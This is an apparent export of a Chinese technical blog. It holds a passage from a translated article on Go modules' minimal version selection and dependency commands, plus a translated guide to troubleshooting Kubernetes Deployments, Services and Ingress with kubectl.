module的“最新最大”版本是1.4.2。\n注意：go.sum文件不应用于理解依赖关系。我在上面所做的版本确定的操作是错误的，稍后我将向您展示确定项目所使用的版本的正确方法。\n上图显示了Go将使用哪个版本的logrus module来构建项目。\n接下来，我将添加引入对golib module有依赖关系的代码。\n清单6：\nhttps://play.golang.org/p/h23opcp5qd0\n01 package main 02 03 import ( 04 \u0026quot;context\u0026quot; 05 \u0026quot;log\u0026quot; 06 07 \u0026quot;github.com/Bhinneka/golib\u0026quot; 08 db \u0026quot;gopkg.in/rethinkdb/rethinkdb-go.v5\u0026quot; 09 ) 10 11 func main() { 12 c, err := db.NewCluster([]db.Host{{Name: \u0026quot;localhost\u0026quot;, Port: 3000}}, nil) 13 if err != nil { 14 log.Fatalln(err) 15 } 16 17 if _, err = c.Query(context.Background(), db.Query{}); err != nil { 18 log.Fatalln(err) 19 } 20 21 golib.CreateDBConnection(\u0026quot;\u0026quot;) 22 } 清单6向该程序添加了07和21行行代码。Go查找、下载并解压缩golib module后，以下更改将显示在go.mod文件中。\n清单7：\n01 module app 02 03 go 1.13 04 05 require ( 06 github.com/Bhinneka/golib v0.0.0-20191209103129-1dc569916cba 07 gopkg.in/rethinkdb/rethinkdb-go.v5 v5.0.1 08 ) 清单7显示go.mod文件已被修改为包括golib module的“最新最大”版本依赖关系，该版本恰好没有语义版本标签。\n清单8：\n... github.com/sirupsen/logrus v1.0.6 h1:hcP1GmhGigz/O7h1WVUM5KklBp1JoNS9FggWKdj/j3s= github.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc= github.com/sirupsen/logrus v1.2.0 h1:juTguoYk5qI21pwyTXY3B3Y5cOTH3ZUyZCg1v/mihuo= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= ... 清单8显示了go.sum文件中的四行，现在包括logrus module的v1.0.6和v1.2.0版本。查看go.sum文件中列出的两个版本会带来两个问题：\n为什么在go.sum文件中列出了两个版本？ Go执行构建时将使用哪个版本？ Go团队的Bryan Mills很好地回答了go.sum文件中列出两个版本的原因。\n“go.sum文件仍包含旧版本（1.0.6），因为其传递依赖的要求可能会影响其他module的选定版本。我们真的只需要为go.mod文件提供校验和，因为go.mod中声明了这些传递要求的内容，但是由于go mod tidy不够精确，最终我们也保留了源代码的校验和。” golang.org/issue/33008\n现在仍然存在在构建项目时将使用哪个版本的logrus module的问题。要正确确定将使用哪些module及其版本，请不要查看该go.sum文件，而应使用go list命令。\n清单9：\n$ go list -m all | grep logrus github.com/sirupsen/logrus v1.2.0 清单9显示了在构建项目时将使用logrus module的v1.2.0版本。该-m标志指示go list列出module而不是package。\n查看module图可以更深入地了解项目对logrus module的要求。\n清单10：\n$ go mod graph | grep logrus github.com/sirupsen/logrus@v1.2.0 github.com/pmezard/go-difflib@v1.0.0 github.com/sirupsen/logrus@v1.2.0 github.com/stretchr/objx@v0.1.1 github.com/sirupsen/logrus@v1.2.0 github.com/stretchr/testify@v1.2.2 github.com/sirupsen/logrus@v1.2.0 golang.org/x/crypto@v0.0.0-20180904163835-0709b304e793 github.com/sirupsen/logrus@v1.2.0 golang.org/x/sys@v0.0.0-20180905080454-ebe1bf3edb33 gopkg.in/rethinkdb/rethinkdb-go.v5@v5.0.1 github.com/sirupsen/logrus@v1.0.6 github.com/sirupsen/logrus@v1.2.0 github.com/konsorten/go-windows-terminal-sequences@v1.0.1 github.com/sirupsen/logrus@v1.2.0 github.com/davecgh/go-spew@v1.1.1 github.com/Bhinneka/golib@v0.0.0-20191209103129-1dc569916cba github.com/sirupsen/logrus@v1.2.0 github.com/prometheus/common@v0.2.0 github.com/sirupsen/logrus@v1.2.0 清单10显示了logrus module在项目中的关系。我将直接提取显示对logrus的依赖要求的行。\n清单11：\ngopkg.in/rethinkdb/rethinkdb-go.v5@v5.0.1 github.com/sirupsen/logrus@v1.0.6 github.com/Bhinneka/golib@v0.0.0-20191209103129-1dc569916cba github.com/sirupsen/logrus@v1.2.0 github.com/prometheus/common@v0.2.0 github.com/sirupsen/logrus@v1.2.0 在清单11中，这些行显示三个module（rethinkdb-go，golib和common）都需要logrus module。由于有了go list命令，我知道所需的最低版本为v1.2.0。\n上图展示了Go现在将使用哪个版本的logrus module来构建项目中的代码。\n四. Go Mod Tidy 在将代码提交/推回存储库之前，请运行go mod tidy以确保module文件是最新且准确的。您在本地构建，运行或测试的代码将随时影响Go对module文件中内容的更新。运行go mod tidy将确保项目具有所需内容的准确和完整的快照，这将帮助您团队中的其他人和您的CI/CD环境。\n清单12：\n$ go mod tidy go: finding github.com/Bhinneka/golib latest go: finding github.com/bitly/go-hostpool latest go: finding github.com/bmizerany/assert latest 清单12显示了运行go mod tidy后的输出结果。您会在输出中看到两个新的依赖项。这将更改module文件。\n清单13：\n01 module app 02 03 go 1.13 04 05 require ( 06 github.com/Bhinneka/golib v0.0.0-20191209103129-1dc569916cba 07 github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 // indirect 08 github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 // indirect 09 gopkg.in/rethinkdb/rethinkdb-go.v5 v5.0.1 10 ) 清单13显示了go-hostpool和assert module被列为构建项目所需的间接module。之所以在此处列出它们，是因为这些项目当前与module机制不兼容。换句话说，这些项目的任何tag版本或master中“最新的”版本都不存在go.mod文件。\n为什么运行go mod tidy后包含了这些module？我可以使用go mod why命令找出答案。\n清单14：\n$ go mod why github.com/hailocab/go-hostpool # github.com/hailocab/go-hostpool app/cmd/db gopkg.in/rethinkdb/rethinkdb-go.v5 github.com/hailocab/go-hostpool ------------------------------------------------ $ go mod why github.com/bmizerany/assert # github.com/bmizerany/assert app/cmd/db gopkg.in/rethinkdb/rethinkdb-go.v5 github.com/hailocab/go-hostpool github.com/hailocab/go-hostpool.test github.com/bmizerany/assert 清单14显示了为什么项目间接需要这些module。rethinkdb-go module需要go-hostpool module，而go-hostpool module需要assert module。\n五. 升级依赖关系 该项目具有三个依赖项，每个依赖项都需要logrus module，其中当前正在选择logrus module的v1.2.0版本。在项目生命周期的某个时刻，升级直接和间接依赖关系以确保项目所需的代码是最新的并且可以利用新功能、错误修复和升级安全补丁将变得很重要。要进行升级，Go提供了go get命令。\n在运行go get升级项目的依赖项之前，需要考虑几个选项。\n使用MVS仅升级必需的直接和间接依赖项 我建议从这种升级开始，直到您了解更多有关项目和module的信息。这是的最保守的形式go get。\n清单15：\n$ go get -t -d -v ./... 清单15显示了如何使用MVS算法对那些必需依赖项的升级。下面是命令中一些命令行选型的定义。\n-t flag：考虑构建测试所需的module。 -d flag：下载每个module的源代码，但不要构建或安装它们。 -v flag：提供详细输出。 ./… ：在整个源代码树中执行这些操作，并且仅更新所需的依赖项。 对当前项目运行此命令不会导致任何更改，因为该项目已经是最新版本，并且具有构建和测试该项目所需的最低版本。那是因为我刚运行了go mod tidy，项目是新的。\n使用最新最大版本仅升级必需的直接和间接依赖项 这种升级会将整个项目的依赖性从“最小”提高到“最新最大”。所需要做的只是将-u标志添加到命令行。\n清单16：\n$ go get -u -t -d -v ./... go: finding golang.org/x/net latest go: finding golang.org/x/sys latest go: finding github.com/hailocab/go-hostpool latest go: finding golang.org/x/crypto latest go: finding github.com/google/jsonapi latest go: finding gopkg.in/bsm/ratelimit.v1 latest go: finding github.com/Bhinneka/golib latest 清单16显示了运行带有-u标志的go get命令的输出。此输出无法说明真实情况。如果我问go list命令现在使用哪个版本的logrus module来构建项目，会发生什么情况呢？\n清单17：\n$ go list -m all | grep logrus github.com/sirupsen/logrus v1.4.2 清单17显示了如何选择“最新”的logrus。为了使这一选择更加明确，对go.mod文件进行了更改。\n清单18：\n01 module app 02 03 go 1.13 04 05 require ( 06 github.com/Bhinneka/golib v0.0.0-20191209103129-1dc569916cba 07 github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 // indirect 08 github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 // indirect 09 github.com/cenkalti/backoff v2.2.1+incompatible // indirect 10 github.com/golang/protobuf v1.3.2 // indirect 11 github.com/jinzhu/gorm v1.9.11 // indirect 12 github.com/konsorten/go-windows-terminal-sequences v1.0.2 // indirect 13 github.com/sirupsen/logrus v1.4.2 // indirect 14 golang.org/x/crypto v0.0.0-20191206172530-e9b2fee46413 // indirect 15 golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553 // indirect 16 golang.org/x/sys v0.0.0-20191210023423-ac6580df4449 // indirect 17 gopkg.in/rethinkdb/rethinkdb-go.v5 v5.0.1 18 ) 清单18在第13行显示版本v1.4.2现在是项目中logrus module的选定版本。构建项目时，Go会注意module文件中的这一行。即使删除了对logrus module的依赖关系更改的代码，该项目的v1.4.2版现在也已被锁定。请记住，降级将是一个更大的变化，而v1.4.2版将不受影响。\ngo.sum文件中可以看到哪些更改？\n清单19：\ngithub.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc= github.com/sirupsen/logrus v1.2.0 h1:juTguoYk5qI21pwyTXY3B3Y5cOTH3ZUyZCg1v/mihuo= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= 清单19显示了go.sum文件中表示logrus的所有三个版本。正如上面的Bryan所解释的，这是因为传递要求可能会影响其他module的选定版本。\n上图展示了Go现在将使用哪个版本的logrus module来构建项目中的代码。\n使用最新最大版本升级所有直接和间接依赖项 您可以将./…选项替换为all来升级所有直接和间接依赖项，包括构建项目时也并不需要的依赖项。\n清单20：\n$ go get -u -t -d -v all go: downloading github.com/mattn/go-sqlite3 v1.11.0 go: extracting github.com/mattn/go-sqlite3 v1.11.0 go: finding github.com/bitly/go-hostpool latest go: finding github.com/denisenkom/go-mssqldb latest go: finding github.com/hailocab/go-hostpool latest go: finding gopkg.in/bsm/ratelimit.v1 latest go: finding github.com/google/jsonapi latest go: finding golang.org/x/net latest go: finding github.com/Bhinneka/golib latest go: finding golang.org/x/crypto latest go: finding gopkg.in/tomb.v1 latest go: finding github.com/bmizerany/assert latest go: finding github.com/erikstmartin/go-testdb latest go: finding gopkg.in/check.v1 latest go: finding golang.org/x/sys latest go: finding github.com/golang-sql/civil latest 清单20显示了现在为该项目找到、下载和提取了多少个依赖项。\n清单21：\nAdded to Module File cloud.google.com/go v0.49.0 // indirect github.com/denisenkom/go-mssqldb v0.0.0-20191128021309-1d7a30a10f73 // indirect github.com/google/go-cmp v0.3.1 // indirect github.com/jinzhu/now v1.1.1 // indirect github.com/lib/pq v1.2.0 // indirect github.com/mattn/go-sqlite3 v2.0.1+incompatible // indirect github.com/onsi/ginkgo v1.10.3 // indirect github.com/onsi/gomega v1.7.1 // indirect github.com/stretchr/objx v0.2.0 // indirect google.golang.org/appengine v1.6.5 // indirect gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect gopkg.in/yaml.v2 v2.2.7 // indirect Removed from Module File github.com/golang/protobuf v1.3.2 // indirect 清单21显示了对该go.mod文件的更改。添加了更多module，并删除了一个module。\n注意：如果你使用vendor，则go mod vendor命令将从vendor文件夹中剥离test文件。\n通常，通过go get升级项目的依赖项时不要使用all或-u选项。坚持只升级需要的module，并使用MVS算法选择这些module及其版本。必要时手动更改为特定的module版本。手动更改可以通过手动编辑go.mod文件来完成，我将在以后的文章中向您展示。\n五. 重置依赖关系 如果您在任何时候都不满意所选的module和版本，则你始终可以通过删除module文件并再次运行go mod tidy来重置选择。当项目还很年轻并且情况不稳定时，这更是一种选择。项目稳定并发布后，我会犹豫重新设置依赖关系。正如我上面提到的，随着时间的推移，可能会设置module版本，并且您需要长期持久且可重复的构建。\n清单22：\n$ rm go.* $ go mod init \u0026lt;module name\u0026gt; $ go mod tidy 清单22显示了允许MVS从头开始再次执行所有选择的命令。在撰写本文的整个过程中，我一直在进行此操作以重置项目并提供本文的代码清单。\n六. 结论 在这篇文章中，我解释了MVS语义，并展示了Go和MVS算法实际应用的真实示例。我还展示了一些Go命令，这些命令可以在您遇到未知问题时为您提供信息。在为项目添加越来越多的依赖项时，可能会遇到一些极端情况。这是因为Go生态系统已有10年的历史，所有现有项目都需要更多时间才能符合module要求。\n在以后的文章中，我将讨论在同一项目中使用不同主要版本的依赖关系，以及如何手动检索和锁定依赖关系的特定版本。现在，我希望您对module和Go工具有更多的信任，并且对MVS如何随着时间的推移选择版本有了更清晰的了解。如果您遇到任何问题，可以在#module组的Gopher Slack上找到一群愿意提供帮助的人。\n本文翻译自《Modules Part 03: Minimal Version Selection》。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/12/21/go-modules-minimal-version-selection/","summary":"\u003ch2 id=\"一-介绍\"\u003e一. 介绍\u003c/h2\u003e\n\u003cp\u003e每个\u003ca href=\"https://tonybai.com/2019/09/21/brief-history-of-go-package-management/\"\u003e依赖管理解决方案\u003c/a\u003e都必须解决选择依赖项版本的问题。\u003ca href=\"https://tonybai.com/2017/06/08/first-glimpse-of-dep/\"\u003e当前存在的许多版本\u003c/a\u003e选择算法都试图识别任何依赖项的“最新最大(latest greatest)”版本。如果您认为\u003ca href=\"https://semver.org/\"\u003e语义版本控制(sematic versioning)\u003c/a\u003e将被正确应用并且这种社会契约得到遵守，那么这是有道理的。在这样的情况下，依赖项的“最新最大”版本应该是最稳定和安全的版本，并且应与较早版本具有向后兼容性。至少在相同的主版本(major verion)依赖树中是如此。\u003c/p\u003e","title":"Go modules：最小版本选择"},{"content":"\n下面是一个示意图，可帮助你调试Kubernetes Deployment（你可以在此处下载它的PDF版本）。\n当你希望在Kubernetes中部署应用程序时，你通常会定义三个组件：\n一个Deployment – 这是一份用于创建你的应用程序的Pod副本的”食谱”； 一个Service – 一个内部负载均衡器，用于将流量路由到内部的Pod上； 一个Ingress – 描述如何流量应该如何从集群外部流入到集群内部的你的服务上。 下面让我们用示意图快速总结一下要点。\n在Kubernetes中，你的应用程序通过两层负载均衡器暴露服务：内部的和外部的\n内部的负载均衡器称为Service，而外部的负载均衡器称为Ingress\nPod不会直接部署。Deployment会负责创建Pod并管理它们\n假设你要部署一个简单的”HelloWorld”应用，该应用的YAML文件的内容应该类似下面这样：\n// hello-world.yaml apiVersion: apps/v1 kind: Deployment metadata: name: my-deployment labels: track: canary spec: selector: matchLabels: any-name: my-app template: metadata: labels: any-name: my-app spec: containers: - name: cont1 image: learnk8s/app:1.0.0 ports: - containerPort: 8080 --- apiVersion: v1 kind: Service metadata: name: my-service spec: ports: - port: 80 targetPort: 8080 selector: name: app --- apiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: name: my-ingress spec: rules: - http: paths: - backend: serviceName: app servicePort: 80 path: / 这个定义很长，组件之间的相互关系并不容易看出来。\n例如：\n什么时候应使用端口80，又是何时应使用端口8080？ 你是否应该为每个服务创建一个新端口以免它们相互冲突？ 标签(label)名重要吗？它们是否在每一处都应该是一样的？ 在进行调试之前，让我们回顾一下这三个组件是如何相互关联的。\n让我们从Deployment和Service开始。\n一. 连接Deployment和Service 令人惊讶的消息是，Service和Deployment之间根本没有连接。\n事实是：Service直接指向Pod，并完全跳过了Deployment。\n因此，你应该注意的是Pod和Service之间的相互关系。\n你应该记住三件事：\nService selector应至少与Pod的一个标签匹配； Service的targetPort应与Pod中容器的containerPort匹配； Service的port可以是任何数字。多个Service可以使用同一端口号，因为它们被分配了不同的IP地址。 下面的图总结了如何连接端口：\n考虑上面被一个服务暴露的Pod\n创建Pod时，应为Pod中的每个容器定义containerPort端口\n当创建一个Service时，你可以定义port和targetPort，但是哪个用来连接容器呢？\ntargetPort和containerPort应该始终保持匹配\n如果容器暴露3000端口(containerPort)，那么targetPort应该匹配这一个端口号\n再来看看YAML，标签和ports/targetPort应该匹配：\n// hello-world.yaml apiVersion: apps/v1 kind: Deployment metadata: name: my-deployment labels: track: canary spec: selector: matchLabels: any-name: my-app template: metadata: labels: any-name: my-app spec: containers: - name: cont1 image: learnk8s/app:1.0.0 ports: - containerPort: 8080 --- apiVersion: v1 kind: Service metadata: name: my-service spec: ports: - port: 80 targetPort: 8080 selector: any-name: my-app 那deployment顶部的track: canary标签呢?\n它也应该匹配吗？\n该标签属于deployment，service的选择器未使用它来路由流量。\n换句话说，你可以安全地删除它或为其分配其他值。\n那matchLabels选择器呢？\n它必须始终与Pod的标签匹配，并且被Deployment用来跟踪Pod。\n假设你已经进行了所有正确的设置，该如何测试它呢？\n你可以使用以下命令检查Pod是否具有正确的标签：\n$ kubectl get pods --show-labels 或者，如果你拥有属于多个应用程序的Pod：\n$ kubectl get pods --selector any-name=my-app --show-labels any-name=my-app就是标签：any-name: my-app。\n还有问题吗？\n你也可以连接到Pod！\n你可以使用kubectl中的port-forward命令连接到service并测试连接。\n$ kubectl port-forward service/\u0026lt;service name\u0026gt; 3000:80 service/ 是服务的名称- 在上面的YAML中是“my-service” 3000是你希望在计算机上打开的端口 80是service通过port字段暴露的端口 如果可以连接，则说明设置正确。\n如果不行，则很可能是你填写了错误的标签或端口不匹配。\n二. 连接Service和Ingress 接下来是配置Ingress以将你的应用暴露到集群外部。\nIngress必须知道如何检索服务，然后检索Pod并将流量路由给它们。\nIngress按名字和暴露的端口检索正确的服务。\n在Ingress和Service中应该匹配两件事：\nIngress的servicePort应该匹配service的port； Ingress的serviceName应该匹配服务的name。 下面的图总结了如何连接端口：\n你已经知道servive暴露一个port\nIngress有一个字段叫servicePort\nservice的port和Ingress的service应该始终保持匹配\n如果你为service指定的port是80，那么你也应该将ingress的servicePort改为80\n实践中，你应该查看以下几行(下面代码中的my-service和80)：\n// hello-world.yaml apiVersion: v1 kind: Service metadata: name: my-service --- 需关注 spec: ports: - port: 80 --- 需关注 targetPort: 8080 selector: any-name: my-app --- apiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: name: my-ingress spec: rules: - http: paths: - backend: serviceName: my-service --- 需关注 servicePort: 80 --- 需关注 path: / 你如何测试Ingress是否正常工作呢？\n你可以使用与以前相同的策略kubectl port-forward，但是这次你应该连接到Ingress控制器，而不是连接到Service。\n首先，使用以下命令检索Ingress控制器的Pod名称：\n$ kubectl get pods --all-namespaces NAMESPACE NAME READY STATUS kube-system coredns-5644d7b6d9-jn7cq 1/1 Running kube-system etcd-minikube 1/1 Running kube-system kube-apiserver-minikube 1/1 Running kube-system kube-controller-manager-minikube 1/1 Running kube-system kube-proxy-zvf2h 1/1 Running kube-system kube-scheduler-minikube 1/1 Running kube-system nginx-ingress-controller-6fc5bcc 1/1 Running 标识Ingress Pod（可能在其他命名空间中）并描述它以检索端口：\n$ kubectl describe pod nginx-ingress-controller-6fc5bcc \\ --namespace kube-system \\ | grep Ports Ports: 80/TCP, 443/TCP, 18080/TCP 最后，连接到Pod：\n$ kubectl port-forward nginx-ingress-controller-6fc5bcc 3000:80 --namespace kube-system 此时，每次你访问计算机上的端口3000时，请求都会转发到Ingress控制器Pod上的端口80。\n如果访问http://localhost:3000，则应找到提供网页服务的应用程序。\n回顾Port 快速回顾一下哪些端口和标签应该匹配：\nservice selector应与Pod的标签匹配 service的targetPort应与Pod中容器的containerPort匹配 service的端口可以是任何数字。多个服务可以使用同一端口，因为它们分配了不同的IP地址。 ingress的servicePort应该匹配service的port serivce的名称应与ingress中的serviceName字段匹配 知道如何构造YAML定义只是故事的一部分。\n出了问题后该怎么办？\nPod可能无法启动，或者正在崩溃。\n三. kubernetes deployment故障排除的3个步骤 在深入研究失败的deployment之前，我们必须对Kubernetes的工作原理有一个明确定义的思维模型。\n由于每个deployment中都有三个组件，因此你应该自下而上依次调试所有组件。\n你应该先确保Pods正在运行 然后，专注于让service将流量路由到到正确的Pod 然后，检查是否正确配置了Ingress 你应该从底部开始对deployment进行故障排除。首先，检查Pod是否已就绪并正在运行。\n如果Pod已就绪，则应调查service是否可以将流量分配给Pod。\n最后，你应该检查service与ingress之间的连接。\n1. Pod故障排除 在大多数情况下，问题出在Pod本身。\n你应该确保Pod正在运行并准备就绪。\n该如何检查呢？\n$ kubectl get pods NAME READY STATUS RESTARTS AGE app1 0/1 ImagePullBackOff 0 47h app2 0/1 Error 0 47h app3-76f9fcd46b-xbv4k 1/1 Running 1 47h 在上述会话中，最后一个Pod处于就绪并正常运行的状态；但是，前两个Pod既不处于Running也不是Ready。\n你如何调查出了什么问题？\n有四个有用的命令可以对Pod进行故障排除：\nkubectl logs 有助于检索Pod容器的日志 kubectl describe pod 检索与Pod相关的事件列表很有用 kubectl get pod 用于提取存储在Kubernetes中的Pod的YAML定义 kubectl exec -ti bash 在Pod的一个容器中运行交互式命令很有用 应该使用哪一个呢？\n没有一种万能的。\n相反，我们应该结合着使用它们。\n常见Pod错误 Pod可能会出现启动和运行时错误。\n启动错误包括：\nImagePullBackoff ImageInspectError ErrImagePull ErrImageNeverPull RegistryUnavailable InvalidImageName 运行时错误包括：\nCrashLoopBackOff RunContainerError KillContainerError VerifyNonRootError RunInitContainerError CreatePodSandboxError ConfigPodSandboxError KillPodSandboxError SetupNetworkError TeardownNetworkError 有些错误比其他错误更常见。\n以下是最常见的错误列表以及如何修复它们的方法。\nImagePullBackOff 当Kubernetes无法获取到Pod中某个容器的镜像时，将出现此错误。\n共有三个可能的原因：\n镜像名称无效-例如，你拼错了名称，或者image不存在 你为image指定了不存在的标签 你尝试检索的image属于一个私有registry，而Kubernetes没有凭据可以访问它 前两种情况可以通过更正image名称和标记来解决。\n针对第三种情况，你应该将私有registry的访问凭证通过Secret添加到k8s中并在Pod中引用它。\n官方文档中有一个有关如何实现此目标的示例。\nCrashLoopBackOff 如果容器无法启动，则Kubernetes将显示错误状态为：CrashLoopBackOff。\n通常，在以下情况下容器无法启动：\n应用程序中存在错误，导致无法启动 你未正确配置容器 Liveness探针失败太多次 你应该尝试从该容器中检索日志以调查其失败的原因。\n如果由于容器重新启动太快而看不到日志，则可以使用以下命令：\n$ kubectl logs \u0026lt;pod-name\u0026gt; --previous 这个命令打印前一个容器的错误消息。\nRunContainerError 当容器无法启动时，出现此错误。\n甚至在容器内的应用程序启动之前。\n该问题通常是由于配置错误，例如：\n挂载不存在的卷，例如ConfigMap或Secrets 将只读卷安装为可读写 你应该使用kubectl describe pod 命令收集和分析错误。\n处于Pending状态的Pod 当创建Pod时，该Pod保持Pending状态。\n为什么？\n假设你的调度程序组件运行良好，可能的原因如下：\n集群没有足够的资源（例如CPU和内存）来运行Pod 当前的命名空间具有ResourceQuota对象，创建Pod将使命名空间超过配额 该Pod绑定到一个处于pending状态的 PersistentVolumeClaim 最好的选择是检查kubectl describe命令输出的“事件”部分内容：\n$ kubectl describe pod \u0026lt;pod name\u0026gt; 对于因ResourceQuotas而导致的错误，可以使用以下方法检查集群的日志：\n$ kubectl get events --sort-by=.metadata.creationTimestamp 处于未就绪状态的Pod 如果Pod正在运行但未就绪(not ready)，则表示readiness就绪探针失败。\n当“就绪”探针失败时，Pod未连接到服务，并且没有流量转发到该实例。\n就绪探针失败是应用程序的特定错误，因此你应检查kubectl describe中的“ 事件”部分以识别错误。\n2. 服务的故障排除 如果你的Pod正在运行并处于就绪状态，但仍无法收到应用程序的响应，则应检查服务的配置是否正确。\nservice旨在根据流量的标签将流量路由到Pod。\n因此，你应该检查的第一件事是服务关联了多少个Pod。\n你可以通过检查服务中的端点(endpoint)来做到这一点：\n$ kubectl describe service \u0026lt;service-name\u0026gt; | grep Endpoints 端点是一对，并且在服务（至少）以Pod为目标时，应该至少有一个端点。\n如果“端点”部分为空，则有两种解释：\n你没有运行带有正确标签的Pod（提示：你应检查自己是否在正确的命名空间中） service的selector标签上有错字 如果你看到端点列表，但仍然无法访问你的应用程序，则targetPort可能是你服务中的罪魁祸首。\n你如何测试服务？\n无论服务类型如何，你都可以使用kubectl port-forward来连接它：\n$kubectl port-forward service/\u0026lt;service-name\u0026gt; 3000:80 这里：\n是服务的名称 3000 是你希望在计算机上打开的端口 80 是服务公开的端口 3.Ingress的故障排除 如果你已到达本节，则：\nPod正在运行并准备就绪 服务会将流量分配到Pod 但是你仍然看不到应用程序的响应。\n这意味着最有可能是Ingress配置错误。\n由于正在使用的Ingress控制器是集群中的第三方组件，因此有不同的调试技术，具体取决于Ingress控制器的类型。\n但是在深入研究Ingress专用工具之前，你可以用一些简单的方法进行检查。\nIngress使用serviceName和servicePort连接到服务。\n你应该检查这些配置是否正确。\n你可以通过下面命令检查Ingress配置是否正确：\n$kubectl describe ingress \u0026lt;ingress-name\u0026gt; 如果backend一列为空，则配置中必然有一个错误。\n如果你可以在“backend”列中看到端点，但是仍然无法访问该应用程序，则可能是以下问题：\n你如何将Ingress暴露于公共互联网 你如何将集群暴露于公共互联网 你可以通过直接连接到Ingress Pod来将基础结构问题与Ingress隔离开。\n首先，获取你的Ingress控制器Pod（可以位于其他名称空间中）：\n$ kubectl get pods --all-namespaces NAMESPACE NAME READY STATUS kube-system coredns-5644d7b6d9-jn7cq 1/1 Running kube-system etcd-minikube 1/1 Running kube-system kube-apiserver-minikube 1/1 Running kube-system kube-controller-manager-minikube 1/1 Running kube-system kube-proxy-zvf2h 1/1 Running kube-system kube-scheduler-minikube 1/1 Running kube-system nginx-ingress-controller-6fc5bcc 1/1 Running 描述它以检索端口：\n# kubectl describe pod nginx-ingress-controller-6fc5bcc --namespace kube-system \\ | grep Ports 最后，连接到Pod：\n$ kubectl port-forward nginx-ingress-controller-6fc5bcc 3000:80 --namespace kube-system 此时，每次你访问计算机上的端口3000时，请求都会转发到Pod上的端口80。\n现在可以用吗？\n如果可行，则问题出在基础架构中。你应该调查流量如何路由到你的集群。 如果不起作用，则问题出在Ingress控制器中。你应该调试Ingress。 如果仍然无法使Ingress控制器正常工作，则应开始对其进行调试。\n目前有许多不同版本的Ingress控制器。\n热门选项包括Nginx，HAProxy，Traefik等。\n你应该查阅Ingress控制器的文档以查找故障排除指南。\n由于Ingress Nginx是最受欢迎的Ingress控制器，因此在下一部分中我们将介绍一些有关调试ingress-nginx的技巧。\n调试Ingress Nginx Ingress-nginx项目有一个Kubectl的官方插件。\n你可以用kubectl ingress-nginx来：\n检查日志，后端，证书等。 连接到ingress 检查当前配置 你应该尝试的三个命令是：\nkubectl ingress-nginx lint，它会检查 nginx.conf kubectl ingress-nginx backend，以检查后端（类似于kubectl describe ingress ） kubectl ingress-nginx logs，查看日志 请注意，你可能需要为Ingress控制器指定正确的名称空间–namespace 。\n四. 总结 如果你不知道从哪里开始，那么在Kubernetes中进行故障排除可能是一项艰巨的任务。\n你应该始终牢记从下至上解决问题：从Pod开始，然后通过Service和Ingress向上移动堆栈。\n你在本文中了解到的调试技术也可以应用于其他对象，例如：\nfailing Job和CronJob StatefulSets和DaemonSets 本文翻译自learnk8s上的文章A visual guide on troubleshooting Kubernetes deployments。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/12/08/k8s-deployment-troubleshooting/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s-deployment-troubleshooting/troubleshooting-deployments-1.png\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e下面是一个示意图，可帮助你调试Kubernetes Deployment（你可以在\u003ca href=\"/images/wp-content/uploads/k8s-deployment-troubleshooting/troubleshooting-kubernetes.pdf\"\u003e此处\u003c/a\u003e下载它的PDF版本）。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s-deployment-troubleshooting/troubleshooting-deployments-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e当你希望在\u003ca 